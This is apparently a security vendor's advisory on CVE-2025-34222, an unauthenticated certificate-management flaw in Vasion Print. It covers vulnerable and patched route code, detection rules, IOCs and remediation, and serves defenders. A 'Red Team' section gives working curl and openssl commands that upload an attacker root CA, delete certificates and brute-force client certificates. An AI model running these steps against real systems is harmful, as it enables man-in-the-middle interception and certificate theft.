CVE-2025-34222

Executive Summary

CVE-2025-34222 is a critical authentication bypass vulnerability in Vasion Print (formerly PrinterLogic) affecting both Virtual Appliance (VA) and SaaS deployments. The flaw exposes four administrative API routes—/admin/hp/cert_upload, /admin/hp/cert_delete, /admin/certs/ca, and /admin/certs/serviceclients/{scid}—without any authentication checks. These routes are defined in the web.php file inside the printercloud/pi Docker container and are handled by the HPCertificateController class, which performs no user validation.

An unauthenticated attacker can upload a malicious TLS/SSL certificate to replace the trusted root CA, delete existing certificates causing immediate loss of trust, or download any stored CA or client certificate via the service-clients endpoint, which also suffers from an Insecure Direct Object Reference (IDOR) vulnerability allowing enumeration of all client IDs. This effectively compromises the entire certificate trust chain of the appliance.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct application-layer flaw in the Vasion Print appliance. The affected component is a Docker container (printercloud/pi) running a PHP Laravel application. No open-source package patches are available; the fix requires a vendor-supplied upgrade.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Threat Level: Critical. The vulnerability allows complete compromise of the certificate trust chain, enabling man-in-the-middle attacks, service disruption, and data exfiltration.

Deep Dive & Mechanics

The vulnerability resides in the HPCertificateController class within the Laravel application. The four exposed routes are defined in /var/www/app/routes/web.php inside the printercloud/pi Docker container. The controller methods lack any middleware or authentication checks, meaning any HTTP request to these endpoints is processed without verifying the user's identity.

• /admin/hp/cert_upload: Accepts a file upload (TLS/SSL certificate) and replaces the trusted root CA. An attacker can upload a self-signed or attacker-controlled certificate, enabling them to sign malicious certificates that the appliance will trust.
• /admin/hp/cert_delete: Deletes a specified certificate by ID. Removing the root CA or intermediate certificates causes immediate loss of trust for all services relying on that certificate chain.
• /admin/certs/ca: Returns a list of all stored CA certificates. This endpoint leaks sensitive certificate metadata and allows an attacker to enumerate the certificate hierarchy.
• /admin/certs/serviceclients/{scid}: Returns the full client certificate for a given service client ID. The {scid} parameter is an integer that can be brute-forced or enumerated, leading to IDOR. An attacker can download all client certificates, which may contain private keys if improperly stored.

The vulnerability is identified by the vendor as V-2024-028.

Vulnerable vs. Patched Code

Vulnerable Code (web.php):

Route::post('/admin/hp/cert_upload', 'HPCertificateController@upload');
Route::delete('/admin/hp/cert_delete', 'HPCertificateController@delete');
Route::get('/admin/certs/ca', 'HPCertificateController@listCA');
Route::get('/admin/certs/serviceclients/{scid}', 'HPCertificateController@getClientCert');

Patched Code (web.php):

Route::post('/admin/hp/cert_upload', 'HPCertificateController@upload')->middleware('auth');
Route::delete('/admin/hp/cert_delete', 'HPCertificateController@delete')->middleware('auth');
Route::get('/admin/certs/ca', 'HPCertificateController@listCA')->middleware('auth');
Route::get('/admin/certs/serviceclients/{scid}', 'HPCertificateController@getClientCert')->middleware('auth');

The patch adds the auth middleware to each route, ensuring only authenticated users can access these endpoints. Additionally, the getClientCert method should validate that the requesting user has permission to access the specific {scid}.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A Vasion Print Virtual Appliance (VA) version < 22.0.1049 or SaaS deployment < 20.0.2786.
• Network access to the appliance (e.g., internal network or exposed management interface).

Exploitation Steps:

1. Enumerate CA Certificates:

   curl -k https://<target>/admin/certs/ca
   

   This returns a JSON list of CA certificates.

2. Upload Malicious Root CA: Generate a self-signed root CA:

   openssl req -x509 -newkey rsa:2048 -keyout attacker.key -out attacker.crt -days 365 -nodes -subj "/CN=AttackerRootCA"
   

   Upload it:

   curl -k -X POST https://<target>/admin/hp/cert_upload -F "certificate=@attacker.crt"
   

3. Delete Existing Root CA: First, enumerate CA IDs from step 1, then delete:

   curl -k -X DELETE https://<target>/admin/hp/cert_delete -d "id=1"
   

4. Download Client Certificates via IDOR: Brute-force service client IDs:

   for i in $(seq 1 100); do
       curl -k https://<target>/admin/certs/serviceclients/$i
   done
   

Expected Outcome: The attacker gains full control over the certificate trust chain, enabling MITM attacks and service disruption.

Blue Team

Detection:

• Monitor for unauthenticated requests to /admin/hp/cert_upload, /admin/hp/cert_delete, /admin/certs/ca, or /admin/certs/serviceclients/*.
• Alert on any certificate upload or delete operations from non-admin IPs.
• Monitor for brute-force patterns on /admin/certs/serviceclients/ (sequential ID requests).

Hunting:

• Review web server logs for 200 responses to the above endpoints without a preceding authentication event.
• Check for unexpected root CA certificates in the appliance's trust store.
• Verify that all client certificates match expected patterns and have not been exfiltrated.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /admin/hp/cert_upload with POST method and multipart/form-data content.
  • HTTP requests to /admin/hp/cert_delete with DELETE method.
  • HTTP requests to /admin/certs/ca or /admin/certs/serviceclients/* with GET method.
  • Sequential requests to /admin/certs/serviceclients/1, /admin/certs/serviceclients/2, etc.

• File IOCs:

  • Unexpected .crt or .pem files in the appliance's certificate directory (e.g., /etc/ssl/certs/).
  • Modified /var/www/app/routes/web.php file (if attacker gains further access).

• Log IOCs:

  • Web server logs showing 200 responses to the above endpoints without a preceding login.
  • PHP error logs indicating unauthenticated access to HPCertificateController methods.

Detection Engineering

YARA Rule

rule CVE_2025_34222_Unauthenticated_Cert_Routes {
    meta:
        description = "Detects unauthenticated access to Vasion Print certificate management routes"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-34222"
    strings:
        $route1 = "/admin/hp/cert_upload"
        $route2 = "/admin/hp/cert_delete"
        $route3 = "/admin/certs/ca"
        $route4 = "/admin/certs/serviceclients/"
        $controller = "HPCertificateController"
    condition:
        any of ($route*) or $controller
}

Sigma Rule

title: Unauthenticated Access to Vasion Print Certificate Routes
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests to unauthenticated certificate management endpoints in Vasion Print
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method:
            - 'POST'
            - 'DELETE'
            - 'GET'
        cs-uri-stem:
            - '/admin/hp/cert_upload'
            - '/admin/hp/cert_delete'
            - '/admin/certs/ca'
            - '/admin/certs/serviceclients/*'
    condition: selection
falsepositives:
    - Legitimate admin actions (should be authenticated)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-34222 - Unauthenticated Certificate Upload Attempt"; flow:to_server; http.method; content:"POST"; http.uri; content:"/admin/hp/cert_upload"; nocase; classtype:attempted-admin; sid:1000001; rev:1;)

alert http any any -> any any (msg:"CVE-2025-34222 - Unauthenticated Certificate Delete Attempt"; flow:to_server; http.method; content:"DELETE"; http.uri; content:"/admin/hp/cert_delete"; nocase; classtype:attempted-admin; sid:1000002; rev:1;)

alert http any any -> any any (msg:"CVE-2025-34222 - Unauthenticated CA Certificate Enumeration"; flow:to_server; http.method; content:"GET"; http.uri; content:"/admin/certs/ca"; nocase; classtype:attempted-recon; sid:1000003; rev:1;)

alert http any any -> any any (msg:"CVE-2025-34222 - Unauthenticated Client Certificate Enumeration"; flow:to_server; http.method; content:"GET"; http.uri; content:"/admin/certs/serviceclients/"; nocase; classtype:attempted-recon; sid:1000004; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade to Vasion Print Virtual Appliance version 22.0.1049 or SaaS deployment version 20.0.2786.
2. If upgrade is not possible, restrict network access to the appliance's management interface using firewall rules or VPN.
3. Implement a WAF rule to block unauthenticated requests to the four vulnerable endpoints.

Long-Term Fixes:

• Apply the vendor patch that adds authentication middleware to the affected routes.
• Conduct a security audit of all admin routes in the application to ensure consistent authentication enforcement.
• Implement rate limiting and anomaly detection on certificate management endpoints.

Compromise Assessment:

• Review certificate trust store for any unauthorized root CAs.
• Rotate all client certificates that may have been exposed via the IDOR endpoint.
• Monitor for signs of MITM attacks or service disruptions.

Valters IT